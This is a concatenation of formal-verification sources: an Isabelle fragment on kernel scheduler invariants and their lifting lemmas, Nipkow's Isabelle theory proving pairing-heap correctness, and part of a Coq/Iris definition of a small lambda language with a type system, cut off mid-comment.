\<forall>t. sa = switch_thread t \<longrightarrow> in_cur_domain_2 t cdom ekh"
abbreviation switch_in_cur_domain:: "det_ext state \<Rightarrow> bool" where
"switch_in_cur_domain s \<equiv> switch_in_cur_domain_2 (scheduler_action s) (ekheap s) (cur_domain s)"
lemmas switch_in_cur_domain_def = switch_in_cur_domain_2_def
definition valid_sched_action_2 where
"valid_sched_action_2 sa ekh kh ct cdom \<equiv>
is_activatable_2 ct sa kh \<and> weak_valid_sched_action_2 sa ekh kh \<and> switch_in_cur_domain_2 sa ekh cdom"
abbreviation valid_sched_action :: "det_ext state \<Rightarrow> bool" where
"valid_sched_action s \<equiv> valid_sched_action_2 (scheduler_action s) (ekheap s) (kheap s) (cur_thread s) (cur_domain s)"
lemmas valid_sched_action_def = valid_sched_action_2_def
abbreviation ct_not_queued where
"ct_not_queued s \<equiv> not_queued (cur_thread s) s"
definition
"ct_not_in_q_2 queues sa ct \<equiv> sa = resume_cur_thread \<longrightarrow> not_queued_2 queues ct"
abbreviation ct_not_in_q :: "det_ext state \<Rightarrow> bool" where
"ct_not_in_q s \<equiv> ct_not_in_q_2 (ready_queues s) (scheduler_action s) (cur_thread s)"
lemmas ct_not_in_q_def = ct_not_in_q_2_def
definition valid_sched_2 where
"valid_sched_2 queues ekh sa cdom kh ct it \<equiv>
valid_etcbs_2 ekh kh \<and> valid_queues_2 queues ekh kh \<and> ct_not_in_q_2 queues sa ct \<and> valid_sched_action_2 sa ekh kh ct cdom \<and> ct_in_cur_domain_2 ct it sa cdom ekh \<and> valid_blocked_2 queues kh sa ct \<and> valid_idle_etcb_2 ekh"
abbreviation valid_sched :: "det_ext state \<Rightarrow> bool" where
"valid_sched s \<equiv> valid_sched_2 (ready_queues s) (ekheap s) (scheduler_action s) (cur_domain s) (kheap s) (cur_thread s) (idle_thread s)"
lemmas valid_sched_def = valid_sched_2_def
abbreviation einvs :: "det_ext state \<Rightarrow> bool" where
"einvs \<equiv> invs and valid_list and valid_sched"
definition not_cur_thread_2 :: "obj_ref \<Rightarrow> scheduler_action \<Rightarrow> obj_ref \<Rightarrow> bool" where
"not_cur_thread_2 thread sa ct \<equiv> sa = resume_cur_thread \<longrightarrow> thread \<noteq> ct"
abbreviation not_cur_thread :: "obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"not_cur_thread thread s \<equiv> not_cur_thread_2 thread (scheduler_action s) (cur_thread s)"
lemmas not_cur_thread_def = not_cur_thread_2_def
definition simple_sched_action_2 :: "scheduler_action \<Rightarrow> bool" where
"simple_sched_action_2 action \<equiv> (case action of switch_thread t \<Rightarrow> False | _ \<Rightarrow> True)"
abbreviation simple_sched_action :: "det_state \<Rightarrow> bool" where
"simple_sched_action s \<equiv> simple_sched_action_2 (scheduler_action s)"
lemmas simple_sched_action_def = simple_sched_action_2_def
definition schact_is_rct :: "det_ext state \<Rightarrow> bool" where
"schact_is_rct s \<equiv> scheduler_action s = resume_cur_thread"
lemma schact_is_rct[elim!]: "schact_is_rct s \<Longrightarrow> scheduler_action s = resume_cur_thread"
apply (simp add: schact_is_rct_def)
done
lemma schact_is_rct_simple[elim]: "schact_is_rct s \<Longrightarrow> simple_sched_action s"
apply (simp add: simple_sched_action_def schact_is_rct_def)
done
definition scheduler_act_not_2 where
"scheduler_act_not_2 sa t \<equiv> sa \<noteq> switch_thread t"
abbreviation scheduler_act_not :: "obj_ref \<Rightarrow> det_ext state \<Rightarrow> bool" where
"scheduler_act_not t s \<equiv> scheduler_act_not_2 (scheduler_action s) t"
abbreviation scheduler_act_sane :: "det_ext state \<Rightarrow> bool" where
"scheduler_act_sane s \<equiv> scheduler_act_not_2 (scheduler_action s) (cur_thread s)"
lemmas scheduler_act_sane_def = scheduler_act_not_2_def
lemmas scheduler_act_not_def = scheduler_act_not_2_def
lemmas ct_not_queued_lift = hoare_lift_Pf2[where f="cur_thread" and P="not_queued"]
lemmas sch_act_sane_lift = hoare_lift_Pf2[where f="cur_thread" and P="scheduler_act_not"]
lemmas not_queued_def = not_queued_2_def
lemma valid_etcbs_lift:
assumes a: "\<And>P T t. \<lbrace>\<lambda>s. P (typ_at T t s)\<rbrace> f \<lbrace>\<lambda>rv s. P (typ_at T t s)\<rbrace>"
and b: "\<And>P. \<lbrace>\<lambda>s. P (ekheap s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ekheap s)\<rbrace>"
shows "\<lbrace>valid_etcbs\<rbrace> f \<lbrace>\<lambda>rv. valid_etcbs\<rbrace>"
apply (rule hoare_lift_Pf[where f="\<lambda>s. ekheap s", OF _ b])
apply (simp add: valid_etcbs_def)
apply (simp add: tcb_at_st_tcb_at[symmetric] tcb_at_typ)
apply (wp hoare_vcg_all_lift a)
done
lemma valid_queues_lift:
assumes a: "\<And>Q t. \<lbrace>\<lambda>s. st_tcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. st_tcb_at Q t s\<rbrace>"
and c: "\<And>P. \<lbrace>\<lambda>s. P (ekheap s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ekheap s)\<rbrace>"
and d: "\<And>P. \<lbrace>\<lambda>s. P (ready_queues s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ready_queues s)\<rbrace>"
shows "\<lbrace>valid_queues\<rbrace> f \<lbrace>\<lambda>rv. valid_queues\<rbrace>"
apply (rule hoare_lift_Pf[where f="\<lambda>s. ekheap s", OF _ c])
apply (rule hoare_lift_Pf[where f="\<lambda>s. ready_queues s", OF _ d])
apply (simp add: valid_queues_def)
apply (wp hoare_vcg_ball_lift hoare_vcg_all_lift hoare_vcg_conj_lift a)
done
lemma typ_at_st_tcb_at_lift:
assumes typ_lift: "\<And>P T p. \<lbrace>\<lambda>s. P (typ_at T p s)\<rbrace> f \<lbrace>\<lambda>r s. P (typ_at T p s)\<rbrace>"
assumes st_lift: "\<And>P. \<lbrace>st_tcb_at P t\<rbrace> f \<lbrace>\<lambda>_. st_tcb_at P t\<rbrace>"
shows "\<lbrace>\<lambda>s. \<not> st_tcb_at P t s\<rbrace> f \<lbrace>\<lambda>r s. \<not> st_tcb_at P t s\<rbrace>"
apply (simp add: valid_def obj_at_def st_tcb_at_def)
apply clarsimp
apply (case_tac "kheap s t")
apply (cut_tac P="\<lambda>x. \<not> x" and p=t and T="ATCB" in typ_lift)
apply (simp add: valid_def obj_at_def)
apply force
apply (cut_tac P="\<lambda>x. x" and p=t and T="a_type aa" in typ_lift)
apply (cut_tac P="\<lambda>t. \<not> P t" in st_lift)
apply (simp add: valid_def obj_at_def st_tcb_at_def)
apply (drule_tac x=s in spec)
apply simp
apply (drule_tac x="(a,b)" in bspec)
apply simp
apply simp
apply (subgoal_tac "a_type aa = ATCB")
apply (erule a_type_ATCBE)
apply simp
apply force
apply simp
done
lemma valid_blocked_lift:
assumes a: "\<And>Q t. \<lbrace>\<lambda>s. st_tcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. st_tcb_at Q t s\<rbrace>"
assumes t: "\<And>P T t. \<lbrace>\<lambda>s. P (typ_at T t s)\<rbrace> f \<lbrace>\<lambda>rv s. P (typ_at T t s)\<rbrace>"
and c: "\<And>P. \<lbrace>\<lambda>s. P (scheduler_action s)\<rbrace> f \<lbrace>\<lambda>rv s. P (scheduler_action s)\<rbrace>"
and e: "\<And>P. \<lbrace>\<lambda>s. P (cur_thread s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_thread s)\<rbrace>"
and d: "\<And>P. \<lbrace>\<lambda>s. P (ready_queues s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ready_queues s)\<rbrace>"
shows "\<lbrace>valid_blocked\<rbrace> f \<lbrace>\<lambda>rv. valid_blocked\<rbrace>"
apply (rule hoare_pre)
apply (wps c e d)
apply (simp add: valid_blocked_def)
apply (wp hoare_vcg_ball_lift hoare_vcg_all_lift hoare_vcg_conj_lift static_imp_wp a)
apply (rule hoare_convert_imp)
apply (rule typ_at_st_tcb_at_lift)
apply (wp a t)+
apply (simp add: valid_blocked_def)
done
lemma ct_not_in_q_lift:
assumes a: "\<And>P. \<lbrace>\<lambda>s. P (scheduler_action s)\<rbrace> f \<lbrace>\<lambda>rv s. P (scheduler_action s)\<rbrace>"
and b: "\<And>P. \<lbrace>\<lambda>s. P (ready_queues s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ready_queues s)\<rbrace>"
and c: "\<And>P. \<lbrace>\<lambda>s. P (cur_thread s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_thread s)\<rbrace>"
shows "\<lbrace>ct_not_in_q\<rbrace> f \<lbrace>\<lambda>rv. ct_not_in_q\<rbrace>"
apply (rule hoare_lift_Pf[where f="\<lambda>s. scheduler_action s", OF _ a])
apply (rule hoare_lift_Pf[where f="\<lambda>s. ready_queues s", OF _ b])
apply (rule hoare_lift_Pf[where f="\<lambda>s. cur_thread s", OF _ c])
apply wp
done
lemma ct_in_cur_domain_lift:
assumes a: "\<And>P. \<lbrace>\<lambda>s. P (ekheap s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ekheap s)\<rbrace>"
and b: "\<And>P. \<lbrace>\<lambda>s. P (scheduler_action s)\<rbrace> f \<lbrace>\<lambda>rv s. P (scheduler_action s)\<rbrace>"
and c: "\<And>P. \<lbrace>\<lambda>s. P (cur_domain s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_domain s)\<rbrace>"
and d: "\<And>P. \<lbrace>\<lambda>s. P (cur_thread s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_thread s)\<rbrace>"
and e: "\<And>P. \<lbrace>\<lambda>s. P (idle_thread s)\<rbrace> f \<lbrace>\<lambda>rv s. P (idle_thread s)\<rbrace>"
shows "\<lbrace>ct_in_cur_domain\<rbrace> f \<lbrace>\<lambda>rv. ct_in_cur_domain\<rbrace>"
apply (rule hoare_lift_Pf[where f="\<lambda>s. ekheap s", OF _ a])
apply (rule hoare_lift_Pf[where f="\<lambda>s. scheduler_action s", OF _ b])
apply (rule hoare_lift_Pf[where f="\<lambda>s. cur_domain s", OF _ c])
apply (rule hoare_lift_Pf[where f="\<lambda>s. cur_thread s", OF _ d])
apply (rule hoare_lift_Pf[where f="\<lambda>s. idle_thread s", OF _ e])
apply wp
done
lemma weak_valid_sched_action_lift:
assumes a: "\<And>Q t. \<lbrace>\<lambda>s. st_tcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. st_tcb_at Q t s\<rbrace>"
assumes c: "\<And>P. \<lbrace>\<lambda>s. P (scheduler_action s)\<rbrace> f \<lbrace>\<lambda>rv s. P (scheduler_action s)\<rbrace>"
shows "\<lbrace>weak_valid_sched_action\<rbrace> f \<lbrace>\<lambda>rv. weak_valid_sched_action\<rbrace>"
apply (rule hoare_lift_Pf[where f="\<lambda>s. scheduler_action s", OF _ c])
apply (simp add: weak_valid_sched_action_def)
apply (wp hoare_vcg_all_lift static_imp_wp a)
done
lemma switch_in_cur_domain_lift:
assumes a: "\<And>Q t. \<lbrace>\<lambda>s. etcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. etcb_at Q t s\<rbrace>"
assumes b: "\<And>P. \<lbrace>\<lambda>s. P (scheduler_action s)\<rbrace> f \<lbrace>\<lambda>rv s. P (scheduler_action s)\<rbrace>"
assumes c: "\<And>P. \<lbrace>\<lambda>s. P (cur_domain s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_domain s)\<rbrace>"
shows "\<lbrace>switch_in_cur_domain\<rbrace> f \<lbrace>\<lambda>rv. switch_in_cur_domain\<rbrace>"
apply (rule hoare_lift_Pf[where f="\<lambda>s. scheduler_action s", OF _ b])
apply (rule hoare_lift_Pf[where f="\<lambda>s. cur_domain s", OF _ c])
apply (simp add: switch_in_cur_domain_def in_cur_domain_def)
apply (wp hoare_vcg_all_lift static_imp_wp a c)
done
lemma valid_sched_action_lift:
assumes a: "\<And>Q t. \<lbrace>\<lambda>s. st_tcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. st_tcb_at Q t s\<rbrace>"
assumes b: "\<And>Q t. \<lbrace>\<lambda>s. etcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. etcb_at Q t s\<rbrace>"
assumes c: "\<And>P. \<lbrace>\<lambda>s. P (scheduler_action s)\<rbrace> f \<lbrace>\<lambda>rv s. P (scheduler_action s)\<rbrace>"
assumes d: "\<And>P. \<lbrace>\<lambda>s. P (cur_thread s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_thread s)\<rbrace>"
assumes e: "\<And>Q t. \<lbrace>\<lambda>s. Q (cur_domain s)\<rbrace> f \<lbrace>\<lambda>rv s. Q (cur_domain s)\<rbrace>"
shows "\<lbrace>valid_sched_action\<rbrace> f \<lbrace>\<lambda>rv. valid_sched_action\<rbrace>"
apply (rule hoare_lift_Pf[where f="\<lambda>s. cur_thread s", OF _ d])
apply (simp add: valid_sched_action_def)
apply (rule hoare_vcg_conj_lift)
apply (rule hoare_lift_Pf[where f="\<lambda>s. scheduler_action s", OF _ c])
apply (simp add: is_activatable_def)
apply (wp weak_valid_sched_action_lift switch_in_cur_domain_lift static_imp_wp a b c d e)+
done
lemma valid_sched_lift:
assumes a: "\<And>Q t. \<lbrace>\<lambda>s. st_tcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. st_tcb_at Q t s\<rbrace>"
assumes b: "\<And>Q t. \<lbrace>\<lambda>s. etcb_at Q t s\<rbrace> f \<lbrace>\<lambda>rv s. etcb_at Q t s\<rbrace>"
assumes c: "\<And>P T t. \<lbrace>\<lambda>s. P (typ_at T t s)\<rbrace> f \<lbrace>\<lambda>rv s. P (typ_at T t s)\<rbrace>"
assumes d: "\<And>P. \<lbrace>\<lambda>s. P (ekheap s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ekheap s)\<rbrace>"
assumes e: "\<And>P. \<lbrace>\<lambda>s. P (scheduler_action s)\<rbrace> f \<lbrace>\<lambda>rv s. P (scheduler_action s)\<rbrace>"
assumes f: "\<And>P. \<lbrace>\<lambda>s. P (ready_queues s)\<rbrace> f \<lbrace>\<lambda>rv s. P (ready_queues s)\<rbrace>"
assumes g: "\<And>P. \<lbrace>\<lambda>s. P (cur_domain s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_domain s)\<rbrace>"
assumes h: "\<And>P. \<lbrace>\<lambda>s. P (cur_thread s)\<rbrace> f \<lbrace>\<lambda>rv s. P (cur_thread s)\<rbrace>"
assumes i: "\<And>P. \<lbrace>\<lambda>s. P (idle_thread s)\<rbrace> f \<lbrace>\<lambda>rv s. P (idle_thread s)\<rbrace>"
shows "\<lbrace>valid_sched\<rbrace> f \<lbrace>\<lambda>rv. valid_sched\<rbrace>"
apply (simp add: valid_sched_def)
apply (wp valid_etcbs_lift valid_queues_lift ct_not_in_q_lift ct_in_cur_domain_lift
valid_sched_action_lift valid_blocked_lift a b c d e f g h i hoare_vcg_conj_lift)
done
lemma valid_etcbs_tcb_etcb:
"\<lbrakk> valid_etcbs s; kheap s ptr = Some (TCB tcb) \<rbrakk> \<Longrightarrow> \<exists>etcb. ekheap s ptr = Some etcb"
by (force simp: valid_etcbs_def is_etcb_at_def st_tcb_at_def obj_at_def)
lemma valid_etcbs_get_tcb_get_etcb:
"\<lbrakk> valid_etcbs s; get_tcb ptr s = Some tcb \<rbrakk> \<Longrightarrow> \<exists>etcb. get_etcb ptr s = Some etcb"
apply (clarsimp simp: valid_etcbs_def valid_etcbs_def st_tcb_at_def obj_at_def is_etcb_at_def get_etcb_def get_tcb_def split: option.splits if_split)
apply (erule_tac x=ptr in allE)
apply (clarsimp simp: get_etcb_def split: option.splits kernel_object.splits)+
done
lemma valid_etcbs_ko_etcb:
"\<lbrakk> valid_etcbs s; kheap s ptr = Some ko \<rbrakk> \<Longrightarrow> \<exists>tcb. (ko = TCB tcb = (\<exists>etcb. ekheap s ptr = Some etcb))"
apply (clarsimp simp: valid_etcbs_def st_tcb_at_def obj_at_def is_etcb_at_def)
apply (erule_tac x="ptr" in allE)
apply auto
done
lemma ekheap_tcb_at:
"\<lbrakk>ekheap s x = Some y; valid_etcbs s\<rbrakk> \<Longrightarrow> tcb_at x s"
by (fastforce simp: valid_etcbs_def is_etcb_at_def st_tcb_at_def obj_at_def is_tcb_def)
lemma tcb_at_is_etcb_at:
"\<lbrakk>tcb_at t s; valid_etcbs s\<rbrakk> \<Longrightarrow> is_etcb_at t s"
by (simp add: valid_etcbs_def tcb_at_st_tcb_at)
lemma tcb_at_ekheap_dom:
"\<lbrakk>tcb_at x s; valid_etcbs s\<rbrakk> \<Longrightarrow> (\<exists>etcb. ekheap s x = Some etcb)"
by (auto simp: is_etcb_at_def dest: tcb_at_is_etcb_at)
lemma ekheap_kheap_dom:
"\<lbrakk>ekheap s x = Some etcb; valid_etcbs s\<rbrakk>
\<Longrightarrow> \<exists>tcb. kheap s x = Some (TCB tcb)"
by (fastforce simp: valid_etcbs_def st_tcb_at_def obj_at_def is_etcb_at_def)
end
|
(* Author: Tobias Nipkow *)
section \<open>Pairing Heap According to Okasaki\<close>
theory Pairing_Heap_List1
imports
"HOL-Library.Multiset"
"HOL-Library.Pattern_Aliases"
"HOL-Data_Structures.Priority_Queue_Specs"
begin
subsection \<open>Definitions\<close>
text
\<open>This implementation follows Okasaki \cite{Okasaki}.
It satisfies the invariant that \<open>Empty\<close> only occurs
at the root of a pairing heap. The functional correctness proof does not
require the invariant but the amortized analysis (elsewhere) makes use of it.\<close>
datatype 'a heap = Empty | Hp 'a "'a heap list"
fun get_min :: "'a heap \<Rightarrow> 'a" where
"get_min (Hp x _) = x"
hide_const (open) insert
context includes pattern_aliases
begin
fun merge :: "('a::linorder) heap \<Rightarrow> 'a heap \<Rightarrow> 'a heap" where
"merge h Empty = h" |
"merge Empty h = h" |
"merge (Hp x hsx =: hx) (Hp y hsy =: hy) =
(if x < y then Hp x (hy # hsx) else Hp y (hx # hsy))"
end
fun insert :: "('a::linorder) \<Rightarrow> 'a heap \<Rightarrow> 'a heap" where
"insert x h = merge (Hp x []) h"
fun pass\<^sub>1 :: "('a::linorder) heap list \<Rightarrow> 'a heap list" where
"pass\<^sub>1 (h1#h2#hs) = merge h1 h2 # pass\<^sub>1 hs" |
"pass\<^sub>1 hs = hs"
fun pass\<^sub>2 :: "('a::linorder) heap list \<Rightarrow> 'a heap" where
"pass\<^sub>2 [] = Empty"
| "pass\<^sub>2 (h#hs) = merge h (pass\<^sub>2 hs)"
fun merge_pairs :: "('a::linorder) heap list \<Rightarrow> 'a heap" where
"merge_pairs [] = Empty"
| "merge_pairs [h] = h"
| "merge_pairs (h1 # h2 # hs) = merge (merge h1 h2) (merge_pairs hs)"
fun del_min :: "('a::linorder) heap \<Rightarrow> 'a heap" where
"del_min Empty = Empty"
| "del_min (Hp x hs) = pass\<^sub>2 (pass\<^sub>1 hs)"
subsection \<open>Correctness Proofs\<close>
text \<open>An optimization:\<close>
lemma pass12_merge_pairs: "pass\<^sub>2 (pass\<^sub>1 hs) = merge_pairs hs"
by (induction hs rule: merge_pairs.induct) (auto split: option.split)
declare pass12_merge_pairs[code_unfold]
subsubsection \<open>Invariants\<close>
fun mset_heap :: "'a heap \<Rightarrow>'a multiset" where
"mset_heap Empty = {#}" |
"mset_heap (Hp x hs) = {#x#} + sum_mset(mset(map mset_heap hs))"
fun pheap :: "('a :: linorder) heap \<Rightarrow> bool" where
"pheap Empty = True" |
"pheap (Hp x hs) = (\<forall>h \<in> set hs. (\<forall>y \<in># mset_heap h. x \<le> y) \<and> pheap h)"
lemma pheap_merge: "pheap h1 \<Longrightarrow> pheap h2 \<Longrightarrow> pheap (merge h1 h2)"
by (induction h1 h2 rule: merge.induct) fastforce+
lemma pheap_merge_pairs: "\<forall>h \<in> set hs. pheap h \<Longrightarrow> pheap (merge_pairs hs)"
by (induction hs rule: merge_pairs.induct)(auto simp: pheap_merge)
lemma pheap_insert: "pheap h \<Longrightarrow> pheap (insert x h)"
by (auto simp: pheap_merge)
(*
lemma pheap_pass1: "\<forall>h \<in> set hs. pheap h \<Longrightarrow> \<forall>h \<in> set (pass\<^sub>1 hs). pheap h"
by(induction hs rule: pass\<^sub>1.induct) (auto simp: pheap_merge)
lemma pheap_pass2: "\<forall>h \<in> set hs. pheap h \<Longrightarrow> pheap (pass\<^sub>2 hs)"
by (induction hs)(auto simp: pheap_merge)
*)
lemma pheap_del_min: "pheap h \<Longrightarrow> pheap (del_min h)"
by(cases h) (auto simp: pass12_merge_pairs pheap_merge_pairs)
subsubsection \<open>Functional Correctness\<close>
lemma mset_heap_empty_iff: "mset_heap h = {#} \<longleftrightarrow> h = Empty"
by (cases h) auto
lemma get_min_in: "h \<noteq> Empty \<Longrightarrow> get_min h \<in># mset_heap(h)"
by(induction rule: get_min.induct)(auto)
lemma get_min_min: "\<lbrakk> h \<noteq> Empty; pheap h; x \<in># mset_heap(h) \<rbrakk> \<Longrightarrow> get_min h \<le> x"
by(induction h rule: get_min.induct)(auto)
lemma get_min: "\<lbrakk> pheap h; h \<noteq> Empty \<rbrakk> \<Longrightarrow> get_min h = Min_mset (mset_heap h)"
by (metis Min_eqI finite_set_mset get_min_in get_min_min )
lemma mset_merge: "mset_heap (merge h1 h2) = mset_heap h1 + mset_heap h2"
by(induction h1 h2 rule: merge.induct)(auto simp: add_ac)
lemma mset_insert: "mset_heap (insert a h) = {#a#} + mset_heap h"
by(cases h) (auto simp add: mset_merge insert_def add_ac)
lemma mset_merge_pairs: "mset_heap (merge_pairs hs) = sum_mset(image_mset mset_heap(mset hs))"
by(induction hs rule: merge_pairs.induct)(auto simp: mset_merge)
lemma mset_del_min: "h \<noteq> Empty \<Longrightarrow>
mset_heap (del_min h) = mset_heap h - {#get_min h#}"
by(cases h) (auto simp: pass12_merge_pairs mset_merge_pairs)
text \<open>Last step: prove all axioms of the priority queue specification:\<close>
interpretation pairing: Priority_Queue_Merge
where empty = Empty and is_empty = "\<lambda>h. h = Empty"
and merge = merge and insert = insert
and del_min = del_min and get_min = get_min
and invar = pheap and mset = mset_heap
proof(standard, goal_cases)
case 1 show ?case by simp
next
case (2 q) show ?case by (cases q) auto
next
case 3 show ?case by(simp add: mset_insert mset_merge)
next
case 4 thus ?case by(simp add: mset_del_min mset_heap_empty_iff)
next
case 5 thus ?case using get_min mset_heap.simps(1) by blast
next
case 6 thus ?case by(simp)
next
case 7 thus ?case by(rule pheap_insert)
next
case 8 thus ?case by (simp add: pheap_del_min)
next
case 9 thus ?case by (simp add: mset_merge)
next
case 10 thus ?case by (simp add: pheap_merge)
qed
end
|
From stdpp Require Export binders strings.
From stdpp Require Import fin_maps gmap.
From iris.algebra Require Export ofe.
From iris.program_logic Require Export language ectx_language ectxi_language.
From iris.heap_lang Require Export locations.
From iris.prelude Require Import options.
(** cs_lambda.
A fairly simple language used for common Iris examples.
Noteworthy design choices:
- This is a right-to-left evaluated language, like CakeML and OCaml. The reason
for this is that it makes curried functions usable: Given a WP for [f a b], we
know that any effects [f] might have to not matter until after *both* [a] and
[b] are evaluated. With left-to-right evaluation, that triple is basically
useless unless the user let-expands [b].
- Even after deallocating a location, the heap remembers that these locations
were previously allocated and makes sure they do not get reused. This is
necessary to ensure soundness of the [meta] feature provided by [gen_heap].
Also, unlike in languages like C, allocated and deallocated "blocks" do not
have to match up: you can allocate a large array of locations and then
deallocate a hole out of it in the middle.
*)
Delimit Scope expr_scope with E.
Delimit Scope val_scope with V.
Module cs_lambda.
(** Expressions and vals. *)
Definition proph_id := positive.
(** We have a notion of "poison" as a variant of unit that may not be compared
with anything. This is useful for erasure proofs: if we erased things to unit,
[<erased> == unit] would evaluate to true after erasure, changing program
behavior. So we erase to the poison value instead, making sure that no legal
comparisons could be affected. *)
Inductive base_lit : Set :=
| LitInt (n : Z)
| LitBool (b : bool)
| LitUnit.
Inductive un_op : Set :=
| NegOp | MinusUnOp.
Inductive bin_op : Set :=
| PlusOp
| AndOp
| EqOp.
Inductive expr :=
(* Values *)
| Val (v : val)
(* Base lambda calculus *)
| Var (x : string)
| Rec (f x : binder) (e : expr)
| App (e1 e2 : expr)
(* Base types and their operations *)
| UnOp (op : un_op) (e : expr)
| BinOp (op : bin_op) (e1 e2 : expr)
| If (e0 e1 e2 : expr)
(* Products *)
(* a ref pair is our equivalent of a ref struct, as a struct is just a product type with named fields, otherwise it's just a struct? *)
| Pair (ref: bool) (e1 e2 : expr)
| Fst (e : expr)
| Snd (e : expr)
| Ref (e: expr)
| Class (e1 e2 : expr)
with val :=
| LitV (l : base_lit)
| RecV (f x : binder) (e : expr)
| PairV (ref : bool) (v1 v2 : val).
Bind Scope expr_scope with expr.
Bind Scope val_scope with val.
Inductive type : Type :=
| TInt : type
| TBool : type
| TPair : bool -> type -> type -> type
| TClass : type -> type -> type
| TRef : type -> type
| TArrow : type -> type -> type
| TUnit : type.
(*
field_valid property holds if type can be used as a field in
- struct/class (when bool is false)
- ref struct (when bool is true)
*)
Inductive field_valid : type -> bool -> Prop :=
| FVInt : forall (b : bool), field_valid TInt b
| FVUnit : forall (b : bool), field_valid TUnit b
(* functions aren't really special *)
| FVArrow τ1 τ2: forall (b : bool), field_valid (TArrow τ1 τ2) b
(* non-ref pairs are fine for any type of pair, just check for nested stuff *)
| FVPair τ1 τ2 : forall (b : bool),
field_valid τ1 false -> field_valid τ2 false -> field_valid (TPair false τ1 τ2) b
(* provided our args are fine for a ref pair, we can have a ref pair as a field *)
| FVPairR τ1 τ2:
field_valid τ1 true -> field_valid τ2 true -> field_valid (TPair true τ1 τ2) true.
Reserved Notation "Γ ⊢ e : τ" (at level 74, e, τ at next level).
Inductive has_type (Γ: gmap binder type) : expr -> type -> Prop :=
| IntT n :
Γ ⊢ (Val (LitV (LitInt n))) : TInt
| BoolT b :
Γ ⊢ (Val (LitV (LitBool b))) : TBool
| UnitT :
Γ ⊢ (Val (LitV (LitUnit))) : TUnit
| RecVT f x e τ1 τ2 :
(* if giving x the type τ1 in the context resolves the expression, then the function is valid *)
(<[ x := τ1 ]> Γ) ⊢ e : τ2 ->
Γ ⊢ (Val (RecV f x e)) : TArrow τ1 τ2
| PairVT ref v1 v2 τ1 τ2 :
Γ ⊢ Val v1 : τ1 ->
Γ ⊢ Val v2 : τ2 ->
field_valid τ1 ref ->
field_valid τ2 ref ->
Γ ⊢ (Val (PairV ref v1 v2)) : TPair ref τ1 τ2
| VarT x τ1 :
(* x is type string but context wants binder *)
(lookup (BNamed x) Γ) = Some τ1 ->
Γ ⊢ (Var x) : τ1
| RecT f x e τ1 τ2 :
(* if giving x the type τ1 in the context resolves the expression, then the function is valid *)
(<[ x := τ1 ]> Γ) ⊢ e : τ2 ->
Γ ⊢ Rec f x e : TArrow τ1 τ2
| AppT e1 e2 τ1 τ2 :
Γ ⊢ e1 : (TArrow τ1 τ2) ->
Γ ⊢ e2 : τ1 ->
Γ ⊢ (App e1 e2) : τ2
| NegT e1 :
Γ ⊢ e1 : TBool ->
Γ ⊢ (UnOp NegOp e1) : TBool
| MinusT e1 :
Γ ⊢ e1 : TInt ->
Γ ⊢ (UnOp MinusUnOp e1) : TInt
| PlusT e1 e2 :
Γ ⊢ e1 : TInt ->
Γ ⊢ e2 : TInt ->
Γ ⊢ (BinOp PlusOp e1 e2) : TInt
| AndT e1 e2 :
Γ ⊢ e1 : TBool ->
Γ ⊢ e2 : TBool ->
Γ ⊢ (BinOp AndOp e1 e2) : TBool
| EqT e1 e2 :
Γ ⊢ e1 : TBool ->
Γ ⊢ e2 : TBool ->
Γ ⊢ (BinOp EqOp e1 e2) : TBool
| IfT e1 e2 e3 τ1 :
Γ ⊢ e1 : TBool ->
Γ ⊢ e2 : τ1 ->
Γ ⊢ e3 : τ1 ->
Γ ⊢ (If e1 e2 e3) : τ1
| PairT ref e1 e2 τ1 τ2 :
Γ ⊢ e1 : τ1 ->
Γ ⊢ e2 : τ2 ->
field_valid τ1 ref ->
field_valid τ2 ref ->
Γ ⊢ (Pair ref e1 e2) : TPair ref τ1 τ2
| FstT e1 ref τ1 τ2 :
Γ ⊢ e1 : TPair ref τ1 τ2 ->
Γ ⊢ (Fst e1) : τ1
| SndT e1 ref τ1 τ2 :
Γ ⊢ e1 : TPair ref τ1 τ2 ->
Γ ⊢ (Snd e1) : τ2
| RefT x τ1 :
Γ ⊢ (Var x) : τ1 ->
Γ ⊢ (Ref (Var x)) : TRef τ1
| ClassT e1 e2 τ1 τ2 :
Γ ⊢ e1 : τ1 ->
Γ ⊢ e2 : τ2 ->
field_valid τ1 false ->
field_valid τ2 false ->
Γ ⊢ (Class e1 e2) : TClass τ1 τ2
(* e has type tau *)
where "Γ ⊢ e : τ" := (has_type Γ e τ).
(*
(** An observation associates a prophecy variable (identifier) to a pair of
values. The first value is the one that was returned by the (atomic) operation
during which the prophecy resolution happened (typically, a boolean when the
wrapped operation is a CmpXchg). The second value is the one that the prophecy
variable was actually resolved to. *)
Definition observation : Set := proph_id * (val * val).
Notation of_val := Val (only parsing).
Definition to_val (e : expr) : option val :=
match e with
| Val v => Some v
| _ => None
end.
(** We assume the following encoding of values to 64-bit words: The least 3
significant bits of every word are a "tag", and we have 61 bits of payload,
which is enough if all pointers are 8-byte-aligned (common on 64bit
architectures). The tags have the following meaning:
0: Payload is the data for a LitV (LitInt _).
1: Payload is the data for a InjLV (LitV (LitInt _)).
2: Payload is the data for a InjRV (LitV (LitInt _)).
3: Payload is the data for a LitV (LitLoc _).
4: Payload is the data for a InjLV (LitV (LitLoc _)).
4: Payload is the data for a InjRV (LitV (LitLoc _)).
6: Payload is one of the following finitely many values, which 61 bits are more
than enough to encode:
LitV LitUnit, InjLV (LitV LitUnit), InjRV (LitV LitUnit),
